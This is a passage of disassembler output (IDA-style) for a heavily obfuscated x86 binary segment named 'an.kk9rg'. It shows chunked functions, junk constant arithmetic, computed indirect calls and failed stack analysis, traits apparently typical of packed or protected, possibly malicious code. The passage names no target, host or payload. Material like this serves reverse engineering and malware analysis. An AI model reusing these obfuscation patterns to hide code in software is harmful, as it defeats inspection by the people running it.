CHUNK AT 1001C491 SIZE 00000005 BYTES xchg ecx, [esp-8+arg_4] pop ecx jz loc_1001A5AA push ebp mov eax, [ebp-20h] call sub_1001555F loc_1001B5B6: ; CODE XREF: sub_1001AE1D+Cj jmp loc_10018803 sub_1001B5A3 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015B5D loc_1001B5BB: ; CODE XREF: sub_10015B5D+3CB1j jmp loc_1001D2F4 ; END OF FUNCTION CHUNK FOR sub_10015B5D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016734 loc_1001B5C0: ; CODE XREF: sub_10016734+6j sub al, 99h mov edx, [ebp-4] imul byte ptr [edx] cmp al, 0A4h jz loc_10017C91 jmp loc_10014806 ; END OF FUNCTION CHUNK FOR sub_10016734 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_156. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- add edi, 1F0986D8h ror edx, 13h jmp sub_100198E6 ; --------------------------------------------------------------------------- loc_1001B5E3: ; CODE XREF: an.kk9rg:loc_1001B81Ej add eax, 58300B7Dh mov eax, [eax] xchg eax, [esp] call eax push ebx mov ebx, edi jmp loc_10017EE8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001537B loc_1001B5F8: ; CODE XREF: sub_1001537B+600Bj jl loc_1001797C loc_1001B5FE: ; CODE XREF: sub_1001537B:loc_100152FEj mov eax, [ebp-4] cmp byte ptr [eax], 0F1h jnz loc_100155C7 jmp loc_1001CE06 ; END OF FUNCTION CHUNK FOR sub_1001537B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016D66 loc_1001B60F: ; CODE XREF: sub_10016D66:loc_10013619j sub esi, ds:100000CBh cmp esi, 0C59ED7EEh jmp loc_10017982 ; END OF FUNCTION CHUNK FOR sub_10016D66 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10014189 loc_1001B620: ; CODE XREF: sub_10014189:loc_1001CB8Dj xor eax, 5BDA7D1Ch add eax, 0D521BCDFh xor eax, 833BE26Dh add eax, 7B8D781Eh mov eax, [eax] loc_1001B63A: ; CODE XREF: sub_10019595-202j or eax, eax jnz loc_1001D6CF jmp loc_100160BB ; END OF FUNCTION CHUNK FOR sub_10014189 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100194EA loc_1001B647: ; CODE XREF: sub_100194EA-263Ej cmp byte ptr [eax], 2Eh push offset loc_100199DD jmp loc_100142AE ; END OF FUNCTION CHUNK FOR sub_100194EA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001BC80 loc_1001B654: ; CODE XREF: sub_1001BC80:loc_1001DD57j popf mov [ebp+0], ebx or ebx, 6E4BEB02h not esi jmp loc_100176A0 ; END OF FUNCTION CHUNK FOR sub_1001BC80 ; --------------------------------------------------------------------------- cdq rol eax, 17h push 92725423h jmp loc_10019B94 ; --------------------------------------------------------------------------- popf jmp sub_100183B7 ; --------------------------------------------------------------------------- ror ecx, 0Fh jmp sub_10018066 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015086 loc_1001B681: ; CODE XREF: sub_10015086-A0j jle loc_1001820A cmp eax, 489A3123h jmp loc_1001699B ; END OF FUNCTION CHUNK FOR sub_10015086 ; =============== S U B R O U T I N E ======================================= sub_1001B692 proc near ; CODE XREF: an.kk9rg:1001336Cp ; an.kk9rg:1001A08Fj xchg eax, [esp+0] loc_1001B695: ; CODE XREF: an.kk9rg:loc_1001987Aj pop eax push 1BAE40FDh pop ecx or ecx, 60FF0B90h and ecx, 19743895h sub ecx, 40F1FC61h sub_1001B692 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_10016D66 loc_1001B6AE: ; CODE XREF: sub_10016D66:loc_1001B104j jmp loc_10019604 ; END OF FUNCTION CHUNK FOR sub_10016D66 ; --------------------------------------------------------------------------- loc_1001B6B3: ; CODE XREF: an.kk9rg:loc_1001AFF4j jnz loc_1001A2BB ; START OF FUNCTION CHUNK FOR sub_10015BFC loc_1001B6B9: ; CODE XREF: sub_10015BFC+4D4Bj jmp loc_1001A4FB ; END OF FUNCTION CHUNK FOR sub_10015BFC ; --------------------------------------------------------------------------- shl edi, 0Fh sub esi, ebp jmp loc_1001A2B5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013999 loc_1001B6C8: ; CODE XREF: sub_10013999:loc_10019A90j or eax, eax jnz loc_100159C0 jmp loc_1001CD57 ; END OF FUNCTION CHUNK FOR sub_10013999 ; --------------------------------------------------------------------------- loc_1001B6D5: ; DATA XREF: sub_1001D5AF:loc_10015499o push 3AC6BE9Ch ; START OF FUNCTION CHUNK FOR sub_1001A606 loc_1001B6DA: ; CODE XREF: sub_1001A606:loc_10015B92j pop ecx loc_1001B6DB: ; CODE XREF: sub_1001456F+68FBj rol ecx, 1Fh test ecx, 100h jmp loc_10015B66 ; END OF FUNCTION CHUNK FOR sub_1001A606 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019409 loc_1001B6E9: ; CODE XREF: sub_10019C9D+1Bj ; sub_10019409:loc_1001D9FDj cmp edx, 7C61090Eh jz loc_1001C5F4 loc_1001B6F5: ; CODE XREF: sub_10019409-2B63j ; sub_10019409-2B57j ... jo loc_1001CEC2 ; END OF FUNCTION CHUNK FOR sub_10019409 ; START OF FUNCTION CHUNK FOR sub_1001564A loc_1001B6FB: ; CODE XREF: sub_1001564A:loc_10016227j or eax, eax jz loc_1001C5F2 cmp eax, 0FFFFFFFFh jz loc_1001C5F2 mov eax, [eax] jmp loc_10018E03 ; END OF FUNCTION CHUNK FOR sub_1001564A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015086 loc_1001B713: ; CODE XREF: sub_10015086:loc_10015DFDj add edx, 0ACEED538h xchg edx, [esp-4+arg_0] jmp loc_100137F6 ; END OF FUNCTION CHUNK FOR sub_10015086 ; --------------------------------------------------------------------------- db 0B6h, 3Eh, 3Ch dword_1001B724 dd 0 ; DATA XREF: sub_10015469+4r ; sub_10015469+480w ... dword_1001B728 dd 0 ; DATA XREF: sub_10016B92:loc_100183A1w ; sub_10016B92:loc_100183A6r ... dword_1001B72C dd 0E71B1477h ; DATA XREF: sub_10014CDFr ; sub_1001AD24+8w ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C535 loc_1001B730: ; CODE XREF: sub_1001C535-23BBj jmp loc_10017C2E ; END OF FUNCTION CHUNK FOR sub_1001C535 ; --------------------------------------------------------------------------- loc_1001B735: ; CODE XREF: an.kk9rg:10013724j jmp locret_100132D0 ; --------------------------------------------------------------------------- dw 0D90Bh dd 0E71B9977h dword_1001B740 dd 0D34EFCC2h ; DATA XREF: sub_10019409-5C1Aw ; sub_10015E0D+7290r ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001AB4F loc_1001B744: ; CODE XREF: sub_1001AB4F+7j jmp loc_1001B9CA ; END OF FUNCTION CHUNK FOR sub_1001AB4F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017BF9 loc_1001B749: ; CODE XREF: sub_10017BF9+Fj jmp loc_10014C67 ; END OF FUNCTION CHUNK FOR sub_10017BF9 ; --------------------------------------------------------------------------- dw 0EACEh dword_1001B750 dd 9977E7A0h ; DATA XREF: sub_1001C44D+3w ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017BF9 loc_1001B754: ; CODE XREF: sub_10017BF9:loc_1001A769j add eax, ebp add eax, 0BA96B668h mov eax, [eax] cmp byte ptr [eax], 0F1h jnz loc_1001DF1C jmp loc_10017E9E ; END OF FUNCTION CHUNK FOR sub_10017BF9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100142E8 loc_1001B76C: ; CODE XREF: sub_100142E8+4E76j and edx, 0FAE622BFh jmp loc_10014448 ; END OF FUNCTION CHUNK FOR sub_100142E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C2D8 loc_1001B777: ; CODE XREF: sub_1001C2D8-11F2j pushf jno loc_10018DB9 jmp loc_1001754F ; END OF FUNCTION CHUNK FOR sub_1001C2D8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001677A loc_1001B783: ; CODE XREF: sub_1001677A+102Cj sub al, 99h call sub_1001CA76 loc_1001B78A: ; CODE XREF: an.kk9rg:100187FEj push ecx pushf push 932273F1h pop ecx rol ecx, 1Ah add ecx, 49B4E13Dh push offset sub_1001CCDE jmp nullsub_82 ; END OF FUNCTION CHUNK FOR sub_1001677A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100173FA loc_1001B7A5: ; CODE XREF: sub_100173FA:loc_1001D1A7j xchg esi, [esp+4+var_4] mov ebp, esp push ecx push offset sub_10016451 jmp nullsub_142 ; END OF FUNCTION CHUNK FOR sub_100173FA ; --------------------------------------------------------------------------- push 1694010h jle loc_10015CFD jmp sub_100145ED ; --------------------------------------------------------------------------- loc_1001B7C5: ; DATA XREF: sub_100194EA-1B55o call sub_100174F4 ; START OF FUNCTION CHUNK FOR sub_10018C4D loc_1001B7CA: ; CODE XREF: sub_10018C4D-3826j ; sub_10018C61-1BBDj ... mov eax, [ebp-0Ch] mov esp, ebp push offset loc_100174ED jmp loc_1001C47A ; END OF FUNCTION CHUNK FOR sub_10018C4D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001B7D9: ; CODE XREF: sub_10013389+9D8Dj jz loc_1001D0ED jmp loc_10014600 ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100136D7 loc_1001B7E4: ; CODE XREF: sub_100136D7+2744j jl loc_1001A1BB jg loc_10018851 jno loc_100159D8 loc_1001B7F6: ; CODE XREF: an.kk9rg:100193E1j and esi, 0CF62EB83h jmp loc_1001D595 ; END OF FUNCTION CHUNK FOR sub_100136D7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016167 loc_1001B801: ; CODE XREF: sub_10016167+688Cj push 0E7610B6Ch pop ebx xor ebx, 0AB340064h sub ebx, ds:100000C5h jnz loc_10019DF8 loc_1001B819: ; CODE XREF: sub_10019409:loc_100154DEj ; an.kk9rg:1001A96Ej jmp loc_1001A466 ; END OF FUNCTION CHUNK FOR sub_10016167 ; --------------------------------------------------------------------------- loc_1001B81E: ; CODE XREF: an.kk9rg:100197C5j jmp loc_1001B5E3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001D951 loc_1001B823: ; CODE XREF: sub_1001D951-728Ej jmp loc_100166D2 ; END OF FUNCTION CHUNK FOR sub_1001D951 ; --------------------------------------------------------------------------- pushf jmp loc_100189AB ; --------------------------------------------------------------------------- loc_1001B82E: ; CODE XREF: an.kk9rg:1001CA71j jg loc_10019254 ; START OF FUNCTION CHUNK FOR sub_1001A97E loc_1001B834: ; CODE XREF: sub_1001A97E:loc_1001CDADj add edi, 0DFB8DF9h push offset loc_100197CA jmp loc_10018D9E ; END OF FUNCTION CHUNK FOR sub_1001A97E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016734 loc_1001B844: ; CODE XREF: sub_10016734+1BF0j jnp loc_10016003 loc_1001B84A: ; CODE XREF: sub_10016734:loc_10014806j mov eax, [ebp-4] cmp byte ptr [eax], 0F1h jnz loc_10017C96 jmp loc_100130A8 ; END OF FUNCTION CHUNK FOR sub_10016734 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001B85B: ; CODE XREF: sub_10013389:loc_1001356Ej push edx push 0F5BDA606h pop edx rol edx, 2 test edx, 40000h jmp loc_10016388 ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013310 loc_1001B870: ; CODE XREF: sub_10013310+828Ej xchg ebx, [esp+1Ch+var_1C] jmp sub_10019030 ; END OF FUNCTION CHUNK FOR sub_10013310 ; --------------------------------------------------------------------------- lea eax, [ebp-14h] push eax push eax push 335E8D90h pop eax and eax, 50053BCCh push offset loc_1001A8C1 jmp loc_10016D20 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017CF8 loc_1001B893: ; CODE XREF: sub_10017CF8:loc_1001CFA1j jz loc_1001754F jmp loc_10014E03 ; END OF FUNCTION CHUNK FOR sub_10017CF8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015086 loc_1001B89E: ; CODE XREF: sub_10015086:loc_100196F8j jz loc_100169A1 jmp loc_10014FE0 ; END OF FUNCTION CHUNK FOR sub_10015086 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100194EA loc_1001B8A9: ; CODE XREF: sub_1001AA84:loc_100151F3j ; sub_100194EA:loc_1001A8D6j mov eax, [ebp-1Ch] cmp byte ptr [eax], 0 jnz loc_10018F65 loc_1001B8B5: ; CODE XREF: sub_1001B319-261Ej jno loc_1001A41E lea eax, [ebp-125h] push eax call sub_10016FA0 ; END OF FUNCTION CHUNK FOR sub_100194EA ; START OF FUNCTION CHUNK FOR sub_10019A95 loc_1001B8C7: ; CODE XREF: sub_10019A95+4j jmp loc_1001C42B ; END OF FUNCTION CHUNK FOR sub_10019A95 ; --------------------------------------------------------------------------- sbb edi, ebx jmp sub_1001AC73 ; =============== S U B R O U T I N E ======================================= sub_1001B8D3 proc near ; CODE XREF: sub_1001C535:loc_10014345p ; an.kk9rg:1001518Bj arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 10019446 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 1001DF33 SIZE 00000008 BYTES xchg ebx, [esp+0] pop ebx loc_1001B8D7: ; CODE XREF: sub_1001C535:loc_1001433Fj jmp loc_10019446 sub_1001B8D3 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C535 loc_1001B8DC: ; CODE XREF: sub_1001C535-5F8Ej ; sub_10019473+157Cj pop ecx xchg ecx, [esp-4+arg_0] mov ebp, ecx pop ecx jmp loc_10013942 ; END OF FUNCTION CHUNK FOR sub_1001C535 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_144. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001BB72 loc_1001B8E9: ; CODE XREF: sub_1001BB72-2344j jmp nullsub_222 ; END OF FUNCTION CHUNK FOR sub_1001BB72 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A54C loc_1001B8EE: ; CODE XREF: sub_1001A54C:loc_100165D1j add ebx, ebp add ebx, 13C8554Ch mov [ebx], eax pop ebx jmp loc_10015E52 ; END OF FUNCTION CHUNK FOR sub_1001A54C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015988 loc_1001B8FE: ; CODE XREF: sub_10015988+2CF7j jz loc_10019C7A jmp loc_1001A156 ; END OF FUNCTION CHUNK FOR sub_10015988 ; --------------------------------------------------------------------------- loc_1001B909: ; CODE XREF: an.kk9rg:1001588Aj shr ebp, 19h mov ebx, eax jmp loc_1001B00C ; =============== S U B R O U T I N E ======================================= sub_1001B913 proc near ; CODE XREF: sub_10018066:loc_10013A3Ep ; an.kk9rg:10015F8Ap var_4 = dword ptr -4 ; FUNCTION CHUNK AT 1001A00E SIZE 00000016 BYTES jno sub_10015E0D push ecx jmp loc_1001A00E sub_1001B913 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001504E loc_1001B91F: ; CODE XREF: sub_1001504E:loc_10018378j jnz loc_10014FFD jmp loc_10018FA6 ; END OF FUNCTION CHUNK FOR sub_1001504E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100136D7 loc_1001B92A: ; CODE XREF: sub_100136D7+91ACj jnz loc_10019C04 jmp loc_1001D7B4 ; END OF FUNCTION CHUNK FOR sub_100136D7 ; =============== S U B R O U T I N E ======================================= sub_1001B935 proc near ; CODE XREF: sub_100142E8:loc_10018830p ; an.kk9rg:1001A8D0j ; FUNCTION CHUNK AT 10014724 SIZE 00000005 BYTES xchg edx, [esp+0] pop edx mov ds:dword_1001B728, eax jmp loc_10014724 sub_1001B935 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_1001B943 proc near ; CODE XREF: sub_10018CA1j ; FUNCTION CHUNK AT 1001669F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001C5D8 SIZE 0000001A BYTES push ebp mov ebp, esp jmp loc_1001C5D8 sub_1001B943 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10014CDF loc_1001B94B: ; CODE XREF: sub_10014CDF+Ej jz loc_10015148 jmp loc_1001B24C ; END OF FUNCTION CHUNK FOR sub_10014CDF ; =============== S U B R O U T I N E ======================================= sub_1001B956 proc near ; CODE XREF: sub_100193F2:loc_1001AD4Bp ; sub_1001C2D8:loc_1001DC6Bj var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 1001AB1F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001AF78 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 1001DC17 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 1001DD75 SIZE 0000000E BYTES xchg ebx, [esp+0] pop ebx xchg eax, [esp-4+arg_0] push 0 push ecx push 798CB06h jmp loc_1001DC17 sub_1001B956 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_210. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- or esi, edi jmp sub_1001A533 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_84. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015B5D loc_1001B973: ; CODE XREF: sub_10015B5D+7D21j jmp loc_1001BA12 ; END OF FUNCTION CHUNK FOR sub_10015B5D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018A31 loc_1001B978: ; CODE XREF: sub_10018A31+10j jmp loc_10017EA3 ; END OF FUNCTION CHUNK FOR sub_10018A31 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C535 loc_1001B97D: ; CODE XREF: sub_1001C535-5F88j jmp loc_10019E9B ; END OF FUNCTION CHUNK FOR sub_1001C535 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_1001B982 proc near ; CODE XREF: an.kk9rg:loc_1001C91Cp ; sub_1001DBEB-5A7p ; FUNCTION CHUNK AT 1001A1D4 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001B425 SIZE 00000003 BYTES push ebp mov ebp, esp push ecx push edi push 43719DC2h pop edi and edi, 46DE7A81h jmp loc_1001A1D4 sub_1001B982 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001B4CC loc_1001B998: ; CODE XREF: sub_1001B4CC:loc_10018022j xchg esi, [esp+8+var_8] mov ecx, esi pop esi pushf push 0EC466B74h pop eax or eax, 83496B20h sub eax, 6439F452h jmp loc_100153EF ; END OF FUNCTION CHUNK FOR sub_1001B4CC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015B5D loc_1001B9B6: ; CODE XREF: sub_10015B5D:loc_1001AE2Fj sub eax, [ebp-4] mov [ebp-4], eax jmp loc_10016F7A ; END OF FUNCTION CHUNK FOR sub_10015B5D ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_1001B9C1 proc near ; CODE XREF: sub_100193F2-ACFp ; sub_100193F2:loc_1001B441p var_4 = dword ptr -4 ; FUNCTION CHUNK AT 10018618 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001D4B2 SIZE 0000000A BYTES push ebp mov ebp, esp add esp, 0FFFFFFF8h mov [ebp+var_4], eax loc_1001B9CA: ; CODE XREF: sub_1001AB4F:loc_1001B744j jnb loc_10016CAC jmp loc_10018618 sub_1001B9C1 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001B9D5: ; CODE XREF: sub_10013389:loc_10017FADj call sub_1001534D push eax ror eax, 17h mov ds:dword_10018614, eax retn ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100153B8 loc_1001B9E5: ; CODE XREF: sub_100153B8+8931j jmp sub_10017803 ; END OF FUNCTION CHUNK FOR sub_100153B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001DBEB loc_1001B9EA: ; CODE XREF: an.kk9rg:loc_10019C15j ; sub_1001DBEB+1j jmp loc_100176D0 ; END OF FUNCTION CHUNK FOR sub_1001DBEB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013688 loc_1001B9EF: ; CODE XREF: sub_10013688+9697j jmp nullsub_129 ; END OF FUNCTION CHUNK FOR sub_10013688 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018C4D loc_1001B9F4: ; CODE XREF: sub_10018C4D+4055j jmp loc_10015420 ; END OF FUNCTION CHUNK FOR sub_10018C4D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018ABA loc_1001B9F9: ; CODE XREF: sub_10018ABA+13j jmp loc_10014306 ; END OF FUNCTION CHUNK FOR sub_10018ABA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001ABFD loc_1001B9FE: ; CODE XREF: sub_1001ABFD-6390j jmp loc_10014120 ; END OF FUNCTION CHUNK FOR sub_1001ABFD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016451 loc_1001BA03: ; CODE XREF: sub_10017394-2A17j ; sub_10016451+Bj rol eax, 17h jmp loc_10014B7B ; END OF FUNCTION CHUNK FOR sub_10016451 ; --------------------------------------------------------------------------- test ebx, edx jmp loc_1001B2DC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015B5D loc_1001BA12: ; CODE XREF: sub_10015B5D:loc_1001B973j mov edx, [ebp-20h] movzx edx, byte ptr [edx] or eax, edx ; END OF FUNCTION CHUNK FOR sub_10015B5D ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001BA1A: ; CODE XREF: sub_10013389:loc_100175AEj mov [ebp-1Ch], eax push offset sub_1001D53A jmp nullsub_85 ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001D392 loc_1001BA27: ; CODE XREF: sub_1001D392:loc_1001963Ej push 0A0B4501h xchg esi, [esp+8+var_8] mov edx, esi pop esi add edx, 0EA00EEBh and edx, 5B73C46Eh or edx, 0C909E1A9h cmp edx, 2F918DAh jmp loc_1001394C ; END OF FUNCTION CHUNK FOR sub_1001D392 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019409 loc_1001BA4F: ; CODE XREF: sub_10019409+AE6j or ecx, ebp jmp loc_1001416A ; END OF FUNCTION CHUNK FOR sub_10019409 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100193B1 loc_1001BA56: ; CODE XREF: sub_100193B1-2617j add ecx, 7FF072Dh xchg ecx, [esp+8+var_8] jmp sub_1001677A ; END OF FUNCTION CHUNK FOR sub_100193B1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018AB1 loc_1001BA64: ; CODE XREF: sub_10018AB1:loc_10017077j mov eax, ds:dword_1001BC98 or eax, eax jnz loc_1001A5FD jmp loc_1001BBEB ; END OF FUNCTION CHUNK FOR sub_10018AB1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015712 loc_1001BA77: ; CODE XREF: sub_10015712:loc_10017B8Dj mov edx, esp push ecx mov ecx, edx xchg ecx, [esp+10h+var_10] ; END OF FUNCTION CHUNK FOR sub_10015712 ; START OF FUNCTION CHUNK FOR sub_1001A97E loc_1001BA7F: ; CODE XREF: sub_1001A97E:loc_1001D684j push 0 push ecx jmp loc_1001C48C ; END OF FUNCTION CHUNK FOR sub_1001A97E ; --------------------------------------------------------------------------- and ebp, 9F7B952Ch jmp sub_10019E17 ; --------------------------------------------------------------------------- loc_1001BA92: ; CODE XREF: an.kk9rg:1001BB0Ej jl loc_10014F0D jnp loc_10015B3B mov edi, 0B735296Bh jmp loc_1001C129 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001893F loc_1001BAA8: ; CODE XREF: sub_1001893F:loc_1001757Ej add edx, 1209F1ADh mov edx, [edx] imul byte ptr [edx] cmp al, 0A4h jmp loc_10013614 ; END OF FUNCTION CHUNK FOR sub_1001893F ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_28. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10014C0D loc_1001BABA: ; CODE XREF: sub_10014C0D+134Cj jmp nullsub_87 ; END OF FUNCTION CHUNK FOR sub_10014C0D ; =============== S U B R O U T I N E ======================================= sub_1001BABF proc near ; CODE XREF: an.kk9rg:10014E8Bj ; sub_1001D190+12p xchg ebx, [esp+0] pop ebx lea eax, nullsub_6 call sub_100141B5 sub_1001BABF endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_1001C2D8 loc_1001BACE: ; CODE XREF: sub_1001C2D8-645Ej jmp loc_10018578 ; END OF FUNCTION CHUNK FOR sub_1001C2D8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001664C loc_1001BAD3: ; CODE XREF: sub_1001664C+12j jnz loc_100158F0 call sub_100180C2 loc_1001BADE: ; CODE XREF: an.kk9rg:10016147j mov edx, 0B9726E5Ah call sub_1001534D push eax jmp loc_10016F99 ; END OF FUNCTION CHUNK FOR sub_1001664C ; =============== S U B R O U T I N E ======================================= sub_1001BAEE proc near ; CODE XREF: sub_1001CB33j push ebp jmp loc_100183C1 sub_1001BAEE endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015B5D loc_1001BAF4: ; CODE XREF: sub_10015B5D+779Dj mov ecx, 64DA0771h add edx, 0D81F8A84h mov edi, esi test ebp, 0CD5CB7B0h jmp loc_1001CB0A ; END OF FUNCTION CHUNK FOR sub_10015B5D ; --------------------------------------------------------------------------- loc_1001BB0C: ; CODE XREF: an.kk9rg:100174E8j test ebx, ebp jmp loc_1001BA92 ; --------------------------------------------------------------------------- loc_1001BB13: ; DATA XREF: sub_100142F5+7o push eax mov eax, [ebp-4] push eax call sub_10014189 test eax, eax jmp loc_1001C376 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_171. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019E2E loc_1001BB25: ; CODE XREF: sub_10019E2E:loc_100176DAj sub al, 99h push 0E5F1DCB0h pop edx rol edx, 1 sub edx, 679D9EE5h or edx, 3504B852h test edx, 8 jmp loc_1001A676 ; END OF FUNCTION CHUNK FOR sub_10019E2E ; --------------------------------------------------------------------------- push 0BCA0651Fh cdq jmp sub_1001664C ; --------------------------------------------------------------------------- or esi, 0A90DEF1Ah jle loc_100180B2 jmp sub_1001D467 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001CF40 loc_1001BB62: ; CODE XREF: sub_1001D461:loc_10014334j ; sub_1001CF40-5CA3j push 14ADC4A4h xchg edx, [esp+4+var_4] mov eax, edx pop edx jmp loc_10014BED ; END OF FUNCTION CHUNK FOR sub_1001CF40 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_1001BB72 proc near ; DATA XREF: an.kk9rg:10018382o var_4 = dword ptr -4 ; FUNCTION CHUNK AT 10015BAF SIZE 00000012 BYTES ; FUNCTION CHUNK AT 100168FC SIZE 00000023 BYTES ; FUNCTION CHUNK AT 1001744F SIZE 00000012 BYTES ; FUNCTION CHUNK AT 100187B6 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100188E0 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 10019813 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 1001B8E9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001CDB8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001CE25 SIZE 00000005 BYTES push esi mov esi, ebp xchg esi, [esp+0] mov ebp, esp push ebx push ecx jmp loc_100187B6 sub_1001BB72 endp ; --------------------------------------------------------------------------- cdq jmp loc_10015A49 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_1001BB87 proc near ; CODE XREF: sub_10016D66+402Ap ; FUNCTION CHUNK AT 100172B8 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10017BC2 SIZE 0000000D BYTES push ebx mov ebx, ebp xchg ebx, [esp+0] mov ebp, esp call sub_1001C26A loc_1001BB94: ; CODE XREF: an.kk9rg:100130C2j jmp loc_100172B8 sub_1001BB87 endp ; --------------------------------------------------------------------------- jle loc_10016DD5 jmp sub_1001D076 ; --------------------------------------------------------------------------- loc_1001BBA4: ; CODE XREF: an.kk9rg:1001738Ej or edi, 6A56C4h add edi, 97137A7Ah popf xchg edi, [esp] jmp loc_100148EF ; --------------------------------------------------------------------------- loc_1001BBB9: ; DATA XREF: 